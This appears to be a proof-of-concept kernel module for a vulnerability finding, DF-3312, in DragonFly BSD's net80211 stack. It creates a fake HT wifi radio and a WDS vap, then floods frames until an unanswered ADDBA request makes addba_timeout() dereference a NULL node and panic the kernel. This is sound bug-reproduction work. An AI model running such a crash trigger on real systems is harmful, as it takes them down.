/*
 * fw2.c -- minimal software "wifi radio" driver for DF-3312 PoC work.
 *
 * Same pattern as findings/poc/DF-3282/fw.c (the established harness for
 * net80211 work on this guest), extended for 11n/WDS:
 *
 *  - registers an ieee80211com "fw2_0" with NO real hardware
 *  - HT-capable: IEEE80211_HTC_HT | IEEE80211_HTC_AMPDU, 11NG channels
 *    (so ieee80211_ht_attach() installs the A-MPDU policy methods and
 *     vaps come up with FHT_HT|FHT_AMPDU_TX by default)
 *  - vap_create accepts HOSTAP and WDS (needed: legacy WDS vap)
 *  - raw_xmit drops every frame on the floor and releases the node ref,
 *    i.e. the "far end" of the WDS link is permanently silent
 *  - sysctl kern.fw2_fire=1 locates the WDS vap and pushes paced unicast
 *    frames through the exported TX entry ieee80211_vap_pkt_send_dest()
 *    (=> ieee80211_output => ieee80211_txampdu_count_packet +
 *     ic->ic_ampdu_enable) until the per-TID traffic estimator crosses
 *     iv_ampdu_mintraffic[WME_AC_BE]=64 and the stack sends an ADDBA
 *    request.  No peer exists, so 250ms later addba_timeout() runs:
 *
 *        struct ieee80211_node *ni = tap->txa_ni;   <-- NULL
 *        struct ieee80211com *ic = ni->ni_ic;       <-- *(NULL+off)
 *
 *    ieee80211_ht_wds_init() never assigns txa_ni (only
 *    ieee80211_ht_node_init:1084 does), so this is a deterministic
 *    NULL-deref panic on any legacy WDS vap with HT re-enabled.
 */
#include "opt_wlan.h"

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/module.h>
#include <sys/sysctl.h>
#include <sys/socket.h>
#include <sys/sockio.h>

#include <net/if.h>
#include <net/if_var.h>
#include <net/if_media.h>
#include <net/ifq_var.h>
#include <net/ethernet.h>

#include <netproto/802_11/ieee80211_var.h>
#include <netproto/802_11/ieee80211_proto.h>
#include <netproto/802_11/ieee80211_ht.h>
#include <netproto/802_11/ieee80211_regdomain.h>
#include <netproto/802_11/ieee80211_ratectl.h>
#include <netproto/802_11/ieee80211_dragonfly.h>

struct fw2_softc {
	struct ieee80211com		sc_ic;
	int				fw2_running;
};

static int	fw2_fire = 0;

static struct ieee80211vap *
		fw2_vap_create(struct ieee80211com *, const char [IFNAMSIZ], int,
		    enum ieee80211_opmode, int, const uint8_t [IEEE80211_ADDR_LEN],
		    const uint8_t [IEEE80211_ADDR_LEN]);
static void	fw2_vap_delete(struct ieee80211vap *);
static void	fw2_parent(struct ieee80211com *);
static int	fw2_raw_xmit(struct ieee80211_node *, struct mbuf *,
		    const struct ieee80211_bpf_params *);
static int	fw2_transmit(struct ieee80211com *, struct mbuf *);
static void	fw2_nop_ic(struct ieee80211com *);
static int	fw2_wme_nop(struct ieee80211com *);

static struct fw2_softc *fw2_sc = NULL;

static struct ieee80211vap *
fw2_vap_create(struct ieee80211com *ic, const char name[IFNAMSIZ], int unit,
    enum ieee80211_opmode opmode, int flags,
    const uint8_t bssid[IEEE80211_ADDR_LEN],
    const uint8_t mac[IEEE80211_ADDR_LEN])
{
	struct ieee80211vap *vap;
	int nvaps = 0;
	struct ieee80211vap *vp;

	TAILQ_FOREACH(vp, &ic->ic_vaps, iv_next)
		nvaps++;

	switch (opmode) {
	case IEEE80211_M_STA:
	case IEEE80211_M_IBSS:
	case IEEE80211_M_HOSTAP:
	case IEEE80211_M_MONITOR:
	case IEEE80211_M_WDS:
		if (nvaps >= 4) {
			kprintf("fw2: max 4 vaps\n");
			return NULL;
		}
		break;
	default:
		kprintf("fw2: opmode %d not supported\n", opmode);
		return NULL;
	}
	vap = kmalloc(sizeof(struct ieee80211vap), M_80211_VAP,
	    M_WAITOK | M_ZERO);
	ieee80211_vap_setup(ic, vap, name, unit, opmode, flags, bssid);

	ieee80211_ratectl_init(vap);
	ieee80211_vap_attach(vap, ieee80211_media_change,
	    ieee80211_media_status, mac);
	return vap;
}

static void
fw2_vap_delete(struct ieee80211vap *vap)
{
	ieee80211_ratectl_deinit(vap);
	ieee80211_vap_detach(vap);
	kfree(vap, M_80211_VAP);
}

static void
fw2_parent(struct ieee80211com *ic)
{
	struct fw2_softc *sc = ic->ic_softc;
	int startall = 0;

	if (ic->ic_nrunning > 0) {
		if (!sc->fw2_running) {
			sc->fw2_running = 1;
			startall = 1;
		}
	} else
		sc->fw2_running = 0;
	if (startall)
		ieee80211_start_all(ic);
}

static int
fw2_raw_xmit(struct ieee80211_node *ni, struct mbuf *m,
    const struct ieee80211_bpf_params *params)
{
	/* the void: every mgmt/raw frame (incl. the ADDBA request) dies here */
	if (params != NULL)
		;
	m_freem(m);
	ieee80211_free_node(ni);
	return 0;
}

static int
fw2_transmit(struct ieee80211com *ic, struct mbuf *m)
{
	struct mbuf *n;

	while (m != NULL) {
		n = m->m_nextpkt;
		m->m_nextpkt = NULL;
		if (m->m_pkthdr.rcvif != NULL)
			ieee80211_tx_complete(
			    (struct ieee80211_node *)m->m_pkthdr.rcvif, m, 0);
		else
			m_freem(m);
		m = n;
	}
	return 0;
}

static void
fw2_nop_ic(struct ieee80211com *ic)
{
}

static int
fw2_wme_nop(struct ieee80211com *ic)
{
	return 0;
}

/*
 * sysctl kern.fw2_fire=1 -- push paced unicast traffic through the WDS
 * vap until net80211 requests A-MPDU tx aggregation for the BE TID.
 */
static int
fw2_fire_sysctl(SYSCTL_HANDLER_ARGS)
{
	struct fw2_softc *sc = fw2_sc;
	struct ieee80211vap *vap, *wds = NULL;
	struct ieee80211_node *ni;
	struct ieee80211_tx_ampdu *tap;
	struct mbuf *m;
	uint8_t *p;
	int error, i, round;

	error = sysctl_handle_int(oidp, &fw2_fire, 0, req);
	if (error != 0 || req->newptr == NULL)
		return error;
	if (fw2_fire == 0 || sc == NULL)
		return 0;

	TAILQ_FOREACH(vap, &sc->sc_ic.ic_vaps, iv_next) {
		if (vap->iv_opmode == IEEE80211_M_WDS)
			wds = vap;
	}
	if (wds == NULL) {
		kprintf("fw2.fire: no WDS vap; create one first\n");
		return ENXIO;
	}
	if (wds->iv_state != IEEE80211_S_RUN) {
		kprintf("fw2.fire: WDS vap %s not RUN (state %d)\n",
		    wds->iv_ifp->if_xname, wds->iv_state);
		return ENXIO;
	}
	ni = wds->iv_bss;
	if (ni == NULL) {
		kprintf("fw2.fire: no bss node\n");
		return ENXIO;
	}
	tap = &ni->ni_tx_ampdu[WME_AC_TO_TID(WME_AC_BE)];

	kprintf("fw2.fire: vap %s RUN, peer %s\n",
	    wds->iv_ifp->if_xname, ether_sprintf(ni->ni_macaddr));
	kprintf("fw2.fire: ni_flags=0x%x (NODE_HT=0x%x NODE_AMPDU=0x%x)\n",
	    ni->ni_flags, IEEE80211_NODE_HT, IEEE80211_NODE_AMPDU);
	kprintf("fw2.fire: vap iv_flags_ht=0x%x (FHT_HT=0x%x FHT_AMPDU_TX=0x%x)\n",
	    wds->iv_flags_ht, IEEE80211_FHT_HT, IEEE80211_FHT_AMPDU_TX);
	kprintf("fw2.fire: *** tap->txa_ni = %p (NULL => addba_timeout panic) ***\n",
	    tap->txa_ni);

	/*
	 * 8 rounds x 1000 frames x 200ms: spans >1 hz tick so the traffic
	 * estimator samples >=1000 pkts/s and txa_avgpps jumps far past the
	 * 64 pps BE threshold; frames pushed after the tick boundary hit
	 * ic->ic_ampdu_enable() -> ieee80211_ampdu_request().
	 */
	for (round = 0; round < 8; round++) {
		wlan_serialize_enter();
		for (i = 0; i < 1000; i++) {
			m = m_getcl(M_WAITOK, MT_DATA, M_PKTHDR);
			p = mtod(m, uint8_t *);
			/* unicast dst = wds peer, src = vap mac, ethertype IPv4 */
			IEEE80211_ADDR_COPY(p, ni->ni_macaddr);
			IEEE80211_ADDR_COPY(p+6, wds->iv_myaddr);
			p[12] = 0x08; p[13] = 0x00;
			memset(p+14, 0x41, 200-14);
			m->m_len = m->m_pkthdr.len = 200;
			/* vap_pkt_send_dest consumes one node ref per call */
			ieee80211_vap_pkt_send_dest(wds, m,
			    ieee80211_ref_node(ni));
		}
		wlan_serialize_exit();
		kprintf("fw2.fire: round %d done: txa_avgpps=%d "
		    "txa_pkts=%d txa_flags=0x%x (XCHGPEND=0x%x)\n",
		    round, tap->txa_avgpps, tap->txa_pkts,
		    tap->txa_flags, IEEE80211_AGGR_XCHGPEND);
		if (tap->txa_flags & IEEE80211_AGGR_XCHGPEND) {
			kprintf("fw2.fire: ADDBA request pending, no peer "
			    "will answer -- addba_timeout fires in ~250ms\n");
			break;
		}
		tsleep(&fw2_fire, 0, "fw2fire", hz / 5);
	}
	kprintf("fw2.fire: done, waiting for addba_timeout...\n");
	return 0;
}
SYSCTL_PROC(_kern, OID_AUTO, fw2_fire, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, fw2_fire_sysctl, "I",
    "fw2 PoC: push WDS traffic until ADDBA is requested");

static int
fw2_modevent(module_t mod, int type, void *data)
{
	struct fw2_softc *sc;
	struct ieee80211com *ic;
	uint8_t bands[IEEE80211_MODE_BYTES];

	switch (type) {
	case MOD_LOAD:
		sc = kmalloc(sizeof(struct fw2_softc), M_DEVBUF,
		    M_WAITOK | M_ZERO);
		ic = &sc->sc_ic;
		ic->ic_softc = sc;
		ic->ic_name = "fw2_0";
		ic->ic_opmode = IEEE80211_M_STA;
		ic->ic_phytype = IEEE80211_T_OFDM;
		ic->ic_caps =
			  IEEE80211_C_STA
			| IEEE80211_C_IBSS
			| IEEE80211_C_HOSTAP
			| IEEE80211_C_MONITOR
			| IEEE80211_C_WDS
			| IEEE80211_C_SHPREAMBLE
			| IEEE80211_C_SHSLOT
			| IEEE80211_C_TXFRAG
			;
		/* 11n-capable radio: this is what makes WDS+HT nodes possible */
		ic->ic_htcaps =
			  IEEE80211_HTCAP_SMPS_OFF
			| IEEE80211_HTCAP_SHORTGI20
			| IEEE80211_HTC_HT		/* HT operation */
			| IEEE80211_HTC_AMPDU		/* tx A-MPDU */
			;
		ic->ic_txstream = 1;
		ic->ic_rxstream = 1;
		/* a single 11NG (2.4GHz n) channel set */
		memset(bands, 0, sizeof(bands));
		setbit(bands, IEEE80211_MODE_11NG);
		ieee80211_init_channels(ic, NULL, bands);

		ic->ic_macaddr[0] = 0x02; ic->ic_macaddr[1] = 0x00;
		ic->ic_macaddr[2] = 0x00; ic->ic_macaddr[3] = 0x00;
		ic->ic_macaddr[4] = 0x00; ic->ic_macaddr[5] = 0xf2;

		ic->ic_vap_create = fw2_vap_create;
		ic->ic_vap_delete = fw2_vap_delete;
		ic->ic_parent = fw2_parent;
		ic->ic_scan_start = fw2_nop_ic;
		ic->ic_scan_end = fw2_nop_ic;
		ic->ic_set_channel = fw2_nop_ic;
		ic->ic_updateslot = fw2_nop_ic;
		ic->ic_wme.wme_update = fw2_wme_nop;

		ieee80211_ifattach(ic);	/* calls ieee80211_ht_attach() */
		/* NB: after ifattach -- proto_attach() overwrites these */
		ic->ic_raw_xmit = fw2_raw_xmit;
		ic->ic_transmit = fw2_transmit;
		fw2_sc = sc;
		kprintf("fw2: fake HT wifi radio attached (fw2_0, 11ng)\n");
		return 0;
	case MOD_UNLOAD:
		sc = fw2_sc;
		if (sc == NULL)
			return 0;
		if (!TAILQ_EMPTY(&sc->sc_ic.ic_vaps)) {
			kprintf("fw2: vap still active, refusing unload\n");
			return EBUSY;
		}
		ieee80211_ifdetach(&sc->sc_ic);
		kfree(sc, M_DEVBUF);
		fw2_sc = NULL;
		kprintf("fw2: detached\n");
		return 0;
	}
	return 0;
}

static moduledata_t fw2_mod = { "fw2", fw2_modevent, 0 };
DECLARE_MODULE(fw2, fw2_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_DEPEND(fw2, wlan, 1, 1, 1);
